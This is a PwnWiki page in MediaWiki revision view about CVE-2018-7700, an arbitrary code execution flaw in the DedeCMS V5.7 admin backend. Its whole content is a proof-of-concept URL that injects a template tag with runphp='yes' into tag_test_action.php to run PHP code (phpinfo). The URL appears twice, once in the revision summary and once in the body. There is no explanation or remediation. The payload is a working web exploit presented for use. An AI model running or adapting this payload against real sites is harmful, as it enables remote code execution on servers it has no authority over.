CVE-2018-7700 Dedecms V5.7後台任意代碼執行漏洞

From PwnWiki
Revision as of 10:32, 10 April 2021 by Pwnwiki (talk | contribs) (Created page with "==POC== <pre> http://localhost/后台地址/tag_test_action.php?url=a&token=&partcode={dede:field name='source' runphp='yes'}phpinfo();{/dede:field} </pre>")
(diff) ← Older revision | Latest revision (diff) | Newer revision → (diff)

POC

http://localhost/后台地址/tag_test_action.php?url=a&token=&partcode={dede:field name='source' runphp='yes'}phpinfo();{/dede:field}